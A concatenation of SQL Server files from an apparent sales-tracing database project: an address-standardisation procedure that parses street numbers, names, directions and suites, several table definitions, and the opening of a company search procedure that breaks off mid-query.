-- Remove all extra spaces from the fields
UPDATE STAGE.TEMP_ADDR_LAUNDRY with(tablock)
SET
ADDR1 = UPPER(STAGE.fnRemoveSpace_SpChar(ADDR1)),
ADDR2 = UPPER(STAGE.fnRemoveSpace_SpChar(ADDR2)),
ADDR_2_CNDT = UPPER(STAGE.fnRemoveSpace_SpChar(ADDR2)), -- will keep triming this to null
ADDR1_STAT_CD = 9,
ISSUE_CD = 'P'
; -- meaning in progress
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET ADDR2 = NULL
WHERE LTRIM(RTRIM(ADDR2)) = '' ;
-- Remove po box from ADDR2 and make it alternate address
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET
ALT_ADDR1 = ADDR2,
ADDR2 = NULL
WHERE LTRIM(ADDR2) LIKE 'PO%' ;
-- Change all string numbers to numeric. It will help to find street numbers in next step
-- No Need
/*
UPDATE C
SET ADDR1 =
CONVERT(VARCHAR(10),N.NBR_NUM)+' '+ RIGHT(C.ADDR1 ,LEN(C.ADDR1)-charindex(' ',C.ADDR1 ))
FROM
STAGE.TEMP_ADDR_LAUNDRY C,
REF.NBR_CNVRTR N
WHERE
C.ADDR1 IS NOT NULL AND charindex(' ',C.ADDR1) > 0
AND ISNUMERIC(LEFT(C.ADDR1,charindex(' ',C.ADDR1)-1)) = 0
AND LEFT(C.ADDR1,charindex(' ',C.ADDR1)-1) = N.NBR_STR ; */
------------------------------------------- ROADWAY START ------------------------------
------ Break Apart ADDR1 --
------ SEPARATE STREET NUMBER AND NAME
--- Pull first words of each street address
UPDATE STAGE.TEMP_ADDR_LAUNDRY -- 5 sec
SET ST_NR_1 = STAGE.fnFirstWord(ADDR1);
-- Convert it to number
UPDATE C
SET C.ST_NR_1 = N.NBR_NUM
FROM STAGE.TEMP_ADDR_LAUNDRY C
JOIN REF.NBR_CNVRTR N ON C.ST_NR_1 = N.NBR_STR
WHERE C.ST_NR_1 IS NOT NULL AND ISNUMERIC(C.ST_NR_1) = 0
OPTION(MERGE JOIN);
UPDATE STAGE.TEMP_ADDR_LAUNDRY -- 5 sec
SET ST_NR_1 = NULL
WHERE ISNUMERIC(ST_NR_1) = 1 ;
-- Grab street name
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET ST_1 = CASE WHEN (Len(ST_NR_1)>0 OR ST_NR_1 IS NULL)
THEN STAGE.fnSecondPart(ADDR1,Len(ST_NR_1)+1) ELSE ADDR1 END;
----- TAKE OUT LAST WORD WHEN IT IS DIRECTION (N, NE, S ETC.) -------------
----- SECTION 101 ------------
UPDATE T
SET
T.DIRECTION = A.ADDR_STD,
T.ST_1 = LEFT(T.ST_1,LEN(T.ST_1)-LEN(LTRIM(RTRIM(STAGE.fnLastWord(T.ST_1)))))
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(STAGE.fnLastWord(T.ST_1))) = LTRIM(RTRIM(A.ADDR_VAR)) AND A.CAT = 'DIRECTION'
WHERE
T.ST_1 IS NOT NULL ;
-- LAST WORD IS ROADWAY --
UPDATE T -- 10
SET
ST_TYP_1 = A.ADDR_STD,
ST_NM_1 = STAGE.fnGet_FirstPart(T.ST_1, CHARINDEX(' '+A.ADDR_VAR, ST_1)),
T.ADDR1_STAT_CD = 0
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(STAGE.fnLastWord(T.ST_1))) = LTRIM(RTRIM(A.ADDR_VAR)) AND A.CAT IN ('Roadway','Location')
WHERE T.ST_1 IS NOT NULL ;
/*
This should take care of 97% of the addresses
Next:
There is Addr2 or other information embedded in Addr 1
Take out ADDR_2 if those are at the end of the ADDR_1
*/
UPDATE T
SET T.ADRR2_TYP = A.ADDR_STD,
T.ADRR2_NR = STAGE.fnLastWord(ST_1),
ST_1 = RTRIM(REPLACE(ST_1,A.ADDR_VAR +' '+ STAGE.fnLastWord(ST_1),'')),
ADDR1_STAT_CD = 1 -- a random number to separate the set of records we will work in this segment
FROM
STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
STAGE.fnLastWord(LEFT(ST_1,LEN(ST_1)- LEN(STAGE.fnLastWord(ST_1)))) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP'
AND T.ST_1 IS NOT NULL
AND ADDR1_STAT_CD > 0
OPTION (MERGE JOIN);
UPDATE T WITH(TABLOCKX)
SET T.ADRR2_TYP = STAGE.fnFirstWord(A.ADDR_STD),
T.ADRR2_NR = STAGE.fnLastWord(A.ADDR_STD),
ST_1 = RTRIM(REPLACE(ST_1,A.ADDR_VAR,'')),
ADDR1_STAT_CD = 1
FROM
STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
STAGE.fnLastWord(LEFT(ST_1,LEN(ST_1)- LEN(STAGE.fnLastWord(ST_1)))) +' '+STAGE.fnLastWord(ST_1) = A.ADDR_VAR
AND A.ADDR_TYP = 'FLOOR'
AND T.ST_1 IS NOT NULL
AND ADDR1_STAT_CD > 0
OPTION (MERGE JOIN);
-- SECOND ROUND - Suite, Unit etc.
UPDATE T
SET T.ADRR3_TYP = A.ADDR_STD,
T.ADRR3_NR = STAGE.fnLastWord(ST_1),
ST_1 = RTRIM(REPLACE(ST_1,A.ADDR_VAR +' '+ STAGE.fnLastWord(ST_1),''))
FROM
STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
STAGE.fnLastWord(LEFT(ST_1,LEN(ST_1)- LEN(STAGE.fnLastWord(ST_1)))) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP'
AND T.ST_1 IS NOT NULL
AND ADDR1_STAT_CD = 1
OPTION (MERGE JOIN);
-- SECOND ROUND - Floor
UPDATE T
SET T.ADRR3_TYP = STAGE.fnFirstWord(A.ADDR_STD),
T.ADRR3_NR = STAGE.fnLastWord(A.ADDR_STD),
ST_1 = RTRIM(REPLACE(ST_1,A.ADDR_VAR,''))
FROM
STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
STAGE.fnLastWord(LEFT(ST_1,LEN(ST_1)- LEN(STAGE.fnLastWord(ST_1)))) +' '+STAGE.fnLastWord(ST_1) = A.ADDR_VAR
AND A.ADDR_TYP = 'FLOOR'
AND T.ST_1 IS NOT NULL
AND ADDR1_STAT_CD = 1
OPTION (MERGE JOIN);
-- Repeat Direction or Roadways like before for above set of data
----- REPEAT SECTION 101 ------------
UPDATE T
SET
T.DIRECTION = A.ADDR_STD,
T.ST_1 = LEFT(T.ST_1,LEN(T.ST_1)-LEN(LTRIM(RTRIM(STAGE.fnLastWord(T.ST_1)))))
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(STAGE.fnLastWord(T.ST_1))) = LTRIM(RTRIM(A.ADDR_VAR)) AND A.CAT = 'DIRECTION'
WHERE
T.ST_1 IS NOT NULL
AND ADDR1_STAT_CD = 1 ;
-- 1 SEC
-- LAST WORD IS ROADWAY --
UPDATE T WITH(TABLOCKX)
SET
ST_TYP_1 = A.ADDR_STD,
ST_NM_1 = STAGE.fnGet_FirstPart(T.ST_1, CHARINDEX(' '+A.ADDR_VAR, ST_1)),
T.ADDR1_STAT_CD = 0
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(STAGE.fnLastWord(T.ST_1))) = A.ADDR_VAR AND A.CAT IN ('Roadway','Location')
WHERE T.ST_1 IS NOT NULL
AND ADDR1_STAT_CD = 1
OPTION(MERGE JOIN);
------------------------------------------------
--- HIGHWAY / ROUTE WITH NUMBER ------
------------------------------------------------
UPDATE T
SET T.ST_NM_1 = REPLACE(ST_1,A.ADDR_VAR, A.ADDR_STD),
T.ADDR1_STAT_CD = 0
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A
ON STAGE.fnLastWord(LEFT(ST_1,LEN(ST_1)- LEN(STAGE.fnLastWord(ST_1)))) = A.ADDR_VAR
WHERE
T.ST_1 IS NOT NULL
AND ISNUMERIC(STAGE.fnLastWord(ST_1)) = 1
AND A.CAT = 'ROADWAY'
AND ADDR1_STAT_CD > 0
OPTION (HASH JOIN, MERGE JOIN) ; -- Makes performance blazing fast
-- Take care of Interstate
UPDATE STAGE.TEMP_ADDR_LAUNDRY SET ST_NM_1 = REPLACE(ST_1,'INTERSTATE', 'I')
WHERE ST_NM_1 LIKE '% INTERSTATE %';
------------------------------------------------
--- SUFFIX SEGMENT ----
--- For rest of the few records use suffix to separate issues ------
------------------------------------------------
UPDATE T
SET
ST_NM_1 = STAGE.fnGet_FirstPart(T.ST_1, CHARINDEX(' '+A.ADDR_VAR+' ', ST_1)),
ST_TYP_1 = A.ADDR_VAR,
SUFFIX = LTRIM(STAGE.fnSecondPart(ST_1, CHARINDEX(' '+A.ADDR_VAR+' ', ST_1)+LEN(A.ADDR_VAR)+1)) ,
T.ADDR1_STAT_CD = 1
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON T.ST_1 LIKE '% '+A.ADDR_VAR+' %' AND A.CAT = 'Roadway'
WHERE
T.ST_1 IS NOT NULL
AND ADDR1_STAT_CD > 0 ;
-- In case Suffix has first word is a roadway, that means there was another roadway that was part of street name
UPDATE T
SET
ST_NM_1 = ST_NM_1+' '+ST_TYP_1,
ST_TYP_1 = A.ADDR_STD,
SUFFIX = STAGE.fnSecondPart(SUFFIX,LEN(A.ADDR_VAR)+2)
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(STAGE.fnFirstWord(SUFFIX))) = A.ADDR_VAR AND A.CAT IN ('Roadway','Location')
WHERE
SUFFIX IS NOT NULL
AND ADDR1_STAT_CD = 1 ;
-- TAKE DIRECTION OUT OF SUFFIX
UPDATE T
SET
DIRECTION = A.ADDR_STD,
SUFFIX = STAGE.fnSecondPart(SUFFIX,LEN(A.ADDR_VAR)+2)
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(STAGE.fnFirstWord(SUFFIX))) = A.ADDR_VAR AND A.CAT = 'DIRECTION'
WHERE
SUFFIX IS NOT NULL
AND ADDR1_STAT_CD = 1
OPTION (MERGE JOIN);
--- NOW TAKE OUT ADDR 2
UPDATE T
SET T.ADRR2_TYP = A.ADDR_STD,
T.ADRR2_NR = STAGE.fnSecondWord(SUFFIX),
SUFFIX = RTRIM(REPLACE(SUFFIX,A.ADDR_VAR +' '+ STAGE.fnSecondWord(SUFFIX),''))
FROM
STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
STAGE.fnFirstWord(SUFFIX) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP'
AND SUFFIX IS NOT NULL
AND T.ADRR2_TYP IS NULL
AND ADDR1_STAT_CD = 1
OPTION (MERGE JOIN);
-- LESS THAN A SECOND
UPDATE T
SET T.ADRR2_TYP = STAGE.fnFirstWord(A.ADDR_STD),
T.ADRR2_NR = STAGE.fnLastWord(A.ADDR_STD),
SUFFIX = RTRIM(REPLACE(SUFFIX,A.ADDR_VAR,''))
FROM
STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
STAGE.fnFirstWord(SUFFIX) +' '+STAGE.fnSecondWord(SUFFIX) = A.ADDR_VAR
AND A.ADDR_TYP = 'FLOOR'
AND SUFFIX IS NOT NULL
AND T.ADRR2_TYP IS NULL
AND ADDR1_STAT_CD = 1
OPTION (MERGE JOIN);
-- LESS THAN A SEC
UPDATE T
SET T.ADRR3_TYP = A.ADDR_STD,
T.ADRR3_NR = STAGE.fnSecondWord(SUFFIX),
SUFFIX = RTRIM(REPLACE(SUFFIX,A.ADDR_VAR +' '+ STAGE.fnSecondWord(SUFFIX),''))
FROM
STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
STAGE.fnFirstWord(SUFFIX) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP'
AND SUFFIX IS NOT NULL
AND T.ADRR2_TYP IS NOT NULL
AND ADDR1_STAT_CD = 1
OPTION (MERGE JOIN);
-- LESS THAN A SECOND
UPDATE T
SET T.ADRR3_TYP = STAGE.fnFirstWord(A.ADDR_STD),
T.ADRR3_NR = STAGE.fnLastWord(A.ADDR_STD),
SUFFIX = RTRIM(REPLACE(SUFFIX,A.ADDR_VAR,''))
FROM
STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
STAGE.fnFirstWord(SUFFIX) +' '+STAGE.fnSecondWord(SUFFIX) = A.ADDR_VAR
AND A.ADDR_TYP = 'FLOOR'
AND SUFFIX IS NOT NULL
AND T.ADRR2_TYP IS NOT NULL
AND ADDR1_STAT_CD = 1
OPTION (MERGE JOIN);
-- LESS THAN A SEC
-- Remaining PORTION OF SUFFIX is mostlikely alt name is saved as such
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET ALT_NM = SUFFIX , SUFFIX = NULL, ADDR1_STAT_CD = 0
WHERE SUFFIX IS NOT NULL AND ADDR1_STAT_CD = 1;
--< 1 SEC
-- IN CASE addr2 and addr3 is same , delete addr 3
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET ADRR3_TYP = NULL,
ADRR3_NR = NULL
WHERE ADRR2_TYP = ADRR3_TYP AND ADRR2_NR = ADRR3_NR ;
-- <1 SEC
---- When street number had a char -- need to be recognized as street number, even though not numeric
-- In rare occasion if the direction is attached with number
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET ST_NR_1 = LEFT(ST_NR_1,LEN(ST_NR_1)-1),
ST_NM_1 = RIGHT(ST_NR_1,1)+' '+ST_NM_1
WHERE RIGHT(ST_NR_1,1) IN ('N','W','E','S');
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET ST_NR_1 = LEFT(ST_NR_1,LEN(ST_NR_1)-2),
ST_NM_1 = RIGHT(ST_NR_1,2)+' '+ST_NM_1
WHERE RIGHT(ST_NR_1,2) IN ('NW','NE','SE','SW');
------------------------------------------- ADDR LINE 1 END ------------------------------
------------------------------------------- ADDR LINE 2 START ----------------------------
-- First round - addr2 stats with SUITE, BLDG ETC. when Addr2 has npo value
UPDATE T
SET T.ADRR2_TYP = A.ADDR_STD,
T.ADRR2_NR = STAGE.fnSecondWord(T.ADDR_2_CNDT) ,
T.ADDR_2_CNDT = RTRIM(LTRIM(REPLACE(T.ADDR_2_CNDT,A.ADDR_VAR +' '+ STAGE.fnSecondWord(T.ADDR_2_CNDT),'')))
FROM
STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
STAGE.fnFirstWord(T.ADDR_2_CNDT) = A.ADDR_VAR AND A.CAT = 'ADDR2_KEEP'
AND T.ADDR_2_CNDT IS NOT NULL
AND T.ADRR2_TYP IS NULL
OPTION (MERGE JOIN);
-- 9 SEC
UPDATE T
SET T.ADRR2_TYP = STAGE.fnFirstWord(A.ADDR_STD) ,
T.ADRR2_NR = STAGE.fnLastWord(A.ADDR_STD) ,
T.ADDR_2_CNDT = RTRIM(LTRIM(REPLACE(T.ADDR_2_CNDT,A.ADDR_VAR,'')))
FROM
STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
STAGE.fnFirstWord(T.ADDR_2_CNDT) +' '+STAGE.fnSecondWord(T.ADDR_2_CNDT) = A.ADDR_VAR
AND A.ADDR_TYP = 'FLOOR'
AND T.ADDR_2_CNDT IS NOT NULL
AND T.ADRR2_TYP IS NULL
OPTION (MERGE JOIN);
-- 1 SEC
-- First round - 2nd iteration - when Addr2 already has value
UPDATE T
SET T.ADRR3_TYP = A.ADDR_STD,
T.ADRR3_NR = STAGE.fnSecondWord(T.ADDR_2_CNDT) ,
T.ADDR_2_CNDT = RTRIM(LTRIM(REPLACE(T.ADDR_2_CNDT,A.ADDR_VAR +' '+ STAGE.fnSecondWord(T.ADDR_2_CNDT),'')))
FROM
STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
STAGE.fnFirstWord(T.ADDR_2_CNDT) = A.ADDR_VAR AND A.CAT = 'ADDR2_KEEP'
AND T.ADDR_2_CNDT IS NOT NULL
AND T.ADRR2_TYP IS NOT NULL
OPTION (MERGE JOIN);
UPDATE T
SET T.ADRR3_TYP = STAGE.fnFirstWord(A.ADDR_STD) ,
T.ADRR3_NR = STAGE.fnLastWord(A.ADDR_STD) ,
T.ADDR_2_CNDT = RTRIM(LTRIM(REPLACE(T.ADDR_2_CNDT,A.ADDR_VAR,'')))
FROM
STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
STAGE.fnFirstWord(T.ADDR_2_CNDT) +' '+STAGE.fnSecondWord(T.ADDR_2_CNDT) = A.ADDR_VAR
AND A.ADDR_TYP = 'FLOOR'
AND T.ADDR_2_CNDT IS NOT NULL
AND T.ADRR2_TYP IS NOT NULL
OPTION (MERGE JOIN);
-- Second round - We have second set of addr2 right after first
UPDATE T
SET T.ADRR3_TYP = A.ADDR_STD,
T.ADRR3_NR = STAGE.fnSecondWord(T.ADDR_2_CNDT) ,
T.ADDR_2_CNDT = RTRIM(LTRIM(REPLACE(T.ADDR_2_CNDT,A.ADDR_VAR +' '+ STAGE.fnSecondWord(T.ADDR_2_CNDT),'')))
FROM
STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
STAGE.fnFirstWord(T.ADDR_2_CNDT) = A.ADDR_VAR AND A.CAT = 'ADDR2_KEEP'
AND T.ADDR_2_CNDT IS NOT NULL
AND T.ADRR2_TYP IS NOT NULL
OPTION (MERGE JOIN);
UPDATE T
SET T.ADRR3_TYP = STAGE.fnFirstWord(A.ADDR_STD) ,
T.ADRR3_NR = STAGE.fnLastWord(A.ADDR_STD) ,
T.ADDR_2_CNDT = RTRIM(LTRIM(REPLACE(T.ADDR_2_CNDT,A.ADDR_VAR,'')))
FROM
STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
STAGE.fnFirstWord(T.ADDR_2_CNDT) +' '+STAGE.fnSecondWord(T.ADDR_2_CNDT) = A.ADDR_VAR
AND A.ADDR_TYP = 'FLOOR'
AND T.ADDR_2_CNDT IS NOT NULL
AND T.ADRR2_TYP IS NOT NULL
OPTION (MERGE JOIN);
-- The addr2 is somewhere inside Addr Line 2
UPDATE T
SET T.ADRR2_TYP = CASE WHEN A.ADDR_TYP = 'FLOOR' THEN STAGE.fnFirstWord(A.ADDR_STD) ELSE A.ADDR_STD END,
T.ADRR2_NR = CASE WHEN A.ADDR_TYP = 'FLOOR' THEN STAGE.fnLastWord(A.ADDR_STD) ELSE STAGE.fnNextWord(T.ADDR_2_CNDT,A.ADDR_VAR) END,
T.ADDR_2_CNDT = CASE WHEN A.ADDR_TYP = 'FLOOR' THEN RTRIM(LTRIM(REPLACE(T.ADDR_2_CNDT,A.ADDR_VAR,'')))
ELSE RTRIM(LTRIM(REPLACE(T.ADDR_2_CNDT,A.ADDR_VAR +' '+ STAGE.fnNextWord(T.ADDR_2_CNDT,A.ADDR_VAR),''))) END
FROM
STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
( T.ADDR_2_CNDT LIKE '% '+A.ADDR_VAR+'%' AND A.CAT = 'ADDR2_KEEP')
AND T.ADDR_2_CNDT IS NOT NULL
AND T.ADRR2_TYP IS NULL;
-- UPDATE STAGE.TEMP_ADDR_LAUNDRY SET ADDR_2_CNDT = NULL WHERE ADDR_2_CNDT IS NOT NULL;
------------------------------------------- ADDR LINE 2 END ----------------------------
-- MAKE THE ADDR_TYP, DIRECTION, ADDR_TYP - STANDARD - ONE LAST TIME
----------------------------------------------------------------
--------------------------------------
-- TO ENSURE ROADWAYS ARE STANDARDIZED
UPDATE T
SET T.ST_TYP_1 = A.ADDR_STD
FROM STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE LTRIM(RTRIM(T.ST_TYP_1)) = A.ADDR_VAR
OPTION (MERGE JOIN);
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET UPD_ADDR1 = STAGE.fnRemoveSpace (ST_NR_1+' '+ST_NM_1+' '+ST_TYP_1),
ISSUE_CD = 'C'
WHERE ST_NR_1 IS NOT NULL AND ST_NM_1 IS NOT NULL AND ST_TYP_1 IS NOT NULL AND DIRECTION IS NULL
AND UPD_ADDR1 IS NULL;
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET UPD_ADDR1 = STAGE.fnRemoveSpace (ST_NR_1+' '+ST_NM_1+' '+ST_TYP_1+' '+DIRECTION),
ISSUE_CD = 'C'
WHERE ST_NR_1 IS NOT NULL AND ST_NM_1 IS NOT NULL AND ST_TYP_1 IS NOT NULL AND DIRECTION IS NOT NULL
AND UPD_ADDR1 IS NULL;
-- The remaining 5 %
-- cleanup remaining of the ST_1
-- AT the end of the name
UPDATE T
SET ST_1 = REPLACE(ST_1,A.ADDR_VAR, A.ADDR_STD),
ISSUE_CD = 'I'
FROM STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
ISSUE_CD = 'P'
AND STAGE.fnLastWord(ST_1) = A.ADDR_VAR AND A.CAT IN ('ROADWAY','LOCATION')
OPTION (MERGE JOIN);
-- IN THE BEGINNING OF THE NAME
UPDATE T
SET ST_1 = REPLACE(ST_1,A.ADDR_VAR, A.ADDR_STD),
ISSUE_CD = 'I'
FROM STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
T.ST_1 IS NOT NULL
AND ISSUE_CD = 'P'
AND STAGE.fnFirstWord(ST_1) = A.ADDR_VAR AND A.CAT IN ('ROADWAY','LOCATION')
OPTION (MERGE JOIN);
-- IN THE MIDDLE OF THE NAME
UPDATE T
SET ST_1 = REPLACE(ST_1,A.ADDR_VAR, A.ADDR_STD),
ISSUE_CD = 'I'
FROM STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
T.ST_1 IS NOT NULL
AND ISSUE_CD = 'P'
AND STAGE.fnFirstWord(ST_1) = A.ADDR_VAR AND A.CAT IN ('ROADWAY','LOCATION')
OPTION (MERGE JOIN);
--Inside the name
UPDATE T
SET ST_1 = REPLACE(ST_1,A.ADDR_VAR, A.ADDR_STD),
ISSUE_CD = 'I'
FROM STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
T.ST_1 IS NOT NULL
AND ISSUE_CD = 'P'
AND T.ST_1 LIKE '% '+A.ADDR_VAR+' %' AND A.CAT = 'ROADWAY';
UPDATE T
SET ST_1 = REPLACE(ST_1,A.ADDR_VAR, A.ADDR_STD),
ISSUE_CD = 'I'
FROM STAGE.TEMP_ADDR_LAUNDRY T,
REF.ADDR_STD A
WHERE
T.ST_1 IS NOT NULL
AND ISSUE_CD = 'P'
AND T.ST_1 LIKE '% '+A.ADDR_VAR+' %' AND A.CAT = 'LOCATION';
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET UPD_ADDR1 =
STAGE.fnRemoveSpace (
CASE WHEN ST_NR_1 IS NOT NULL THEN ST_NR_1 ELSE '' END
+' '+
CASE WHEN ST_NM_1 IS NOT NULL THEN ST_NM_1 ELSE ST_1 END
+' '+
CASE WHEN ST_TYP_1 IS NOT NULL THEN ST_TYP_1 ELSE '' END
+' '+
CASE WHEN DIRECTION IS NOT NULL THEN DIRECTION ELSE '' END
)
WHERE UPD_ADDR1 IS NULL;
UPDATE STAGE.TEMP_ADDR_LAUNDRY SET UPD_ADDR1 = NULL WHERE LEN(UPD_ADDR1) = 0;
-- UPD_ADDR1 WHICH IS LEFT --
-- Remains unclean - should flag this --
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET UPD_ADDR1 = ST_1,ISSUE_CD = 'E'
WHERE UPD_ADDR1 IS NULL ;
-------------------------------------------------------------
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET UPD_ADDR2 = ADRR2_TYP+' '+ADRR2_NR
WHERE ADRR2_TYP IS NOT NULL;
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET UPD_ADDR3 = ADRR3_TYP+' '+ADRR3_NR
WHERE ADRR3_TYP IS NOT NULL;
UPDATE T
SET T.CITY = Z.City
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ZIP_CODE Z ON LEFT(LTRIM(T.ZIP),5) = Z.Zipcode AND Z.LocationType = 'PRIMARY'
WHERE T.CITY=Z.City
OPTION(MERGE JOIN);
END;<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PRD_PRC_TEMP.sql
CREATE TABLE [STAGE].[PRD_PRC_TEMP] (
[PRODUCT] VARCHAR (20) NOT NULL,
[PRICE] NUMERIC (38, 14) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/PCM/Tables/PCM_CONT_PND.sql
CREATE TABLE [PCM].[PCM_CONT_PND] (
[CNT_PND_ID] INT IDENTITY (1, 1) NOT NULL,
[CNT_NR] VARCHAR (20) NOT NULL,
[INIT_USR_NM] VARCHAR (20) NOT NULL,
[CNT_INIT_DT] DATE NULL,
[CNT_RVW_DL_DT] DATE NULL,
[CNT_TYP_CD] VARCHAR (20) NOT NULL,
[CNT_STAT_CD] VARCHAR (20) NOT NULL,
[PDI_GROUP_ID] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PDI_LTC_LTC_Referrals_From_Physicians.sql
CREATE TABLE [STAGE].[PDI_LTC_LTC_Referrals_From_Physicians] (
[HOSPITAL_ID] INT NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[NPI] INT NULL,
[LAST_NAME] VARCHAR (MAX) NULL,
[FIRST_NAME] VARCHAR (MAX) NULL,
[SPECIALTY_PRIMARY] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[PRIMARY_AFFILIATION_HOSPITAL_ID] INT NULL,
[PRIMARY_AFFILIATION_HOSPITAL_NAME] VARCHAR (MAX) NULL,
[PAIR_COUNT_DAYS30] VARCHAR (MAX) NULL,
[BENE_COUNT_DAYS30] VARCHAR (MAX) NULL,
[SAME_DAY_COUNT_DAYS30] VARCHAR (MAX) NULL,
[PAIR_COUNT_DAYS60] VARCHAR (MAX) NULL,
[BENE_COUNT_DAYS60] VARCHAR (MAX) NULL,
[SAME_DAY_COUNT_DAYS60] VARCHAR (MAX) NULL,
[PAIR_COUNT_DAYS90] VARCHAR (MAX) NULL,
[BENE_COUNT_DAYS90] VARCHAR (MAX) NULL,
[SAME_DAY_COUNT_DAYS90] VARCHAR (MAX) NULL,
[PAIR_COUNT_DAYS180] VARCHAR (MAX) NULL,
[BENE_COUNT_DAYS180] VARCHAR (MAX) NULL,
[SAME_DAY_COUNT_DAYS180] VARCHAR (MAX) NULL,
[PAIR_COUNT_DAYS30_PY] VARCHAR (MAX) NULL,
[BENE_COUNT_DAYS30_PY] VARCHAR (MAX) NULL,
[SAME_DAY_COUNT_DAYS30_PY] VARCHAR (MAX) NULL,
[PAIR_COUNT_DAYS60_PY] VARCHAR (MAX) NULL,
[BENE_COUNT_DAYS60_PY] VARCHAR (MAX) NULL,
[SAME_DAY_COUNT_DAYS60_PY] VARCHAR (MAX) NULL,
[PAIR_COUNT_DAYS90_PY] INT NULL,
[BENE_COUNT_DAYS90_PY] INT NULL,
[SAME_DAY_COUNT_DAYS90_PY] INT NULL,
[PAIR_COUNT_DAYS180_PY] INT NULL,
[BENE_COUNT_DAYS180_PY] INT NULL,
[SAME_DAY_COUNT_DAYS180_PY] INT NULL,
[PAIR_COUNT_DAYS30_PY2] VARCHAR (MAX) NULL,
[BENE_COUNT_DAYS30_PY2] VARCHAR (MAX) NULL,
[SAME_DAY_COUNT_DAYS30_PY2] VARCHAR (MAX) NULL,
[PAIR_COUNT_DAYS60_PY2] INT NULL,
[BENE_COUNT_DAYS60_PY2] INT NULL,
[SAME_DAY_COUNT_DAYS60_PY2] INT NULL,
[PAIR_COUNT_DAYS90_PY2] INT NULL,
[BENE_COUNT_DAYS90_PY2] INT NULL,
[SAME_DAY_COUNT_DAYS90_PY2] INT NULL,
[PAIR_COUNT_DAYS180_PY2] INT NULL,
[BENE_COUNT_DAYS180_PY2] INT NULL,
[SAME_DAY_COUNT_DAYS180_PY2] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CMPNY/Stored Procedures/spSRCH_CMPNY.sql
CREATE PROCEDURE [CMPNY].[spSRCH_CMPNY]
@CO_NM varchar(200) = null, @CO_ADDR varchar(200) = null, @CO_CITY varchar(100) = null, @CO_ST varchar(20) = null, @CO_ZIP varchar(20) = null
WITH EXEC AS CALLER
AS
BEGIN
SELECT
c.[CMPNY_ID]as COMPANY_ID,
c.[CMPNY_NM] as CMPNY_NM,
c.[CMPNY_ALT_NM] as CMPNY_ALT_NM,
S.CMPNY_SGMNT_NM AS COMPANY_TYPE,
c.[CMPNY_ADDR_1]as ADDR_1,
c.[CMPNY_CITY]as CITY,
c.[CMPNY_ST]as ST,
c.[CMPNY_ZIP]as ZIP,
c.CMPNY_SGMNT_ID,
c.BUYER_INDICATOR as BI,
CONVERT(varchar, CAST( ROUND(cs.[TOTAL SALES PRIOR YEAR],0) AS money), 1) AS SALES_AMT,
'MDM' as source
FROM [CMPNY].[COMPANY] c
JOIN CMPNY.COMPANY_SEGMENT S ON c.CMPNY_SGMNT_ID = S.CMPNY_SGMNT_ID
LEFT JOIN CMPNY.CMPNY_SALES cs ON cs.CMPNY_ID = c.CMPNY_ID
WHERE
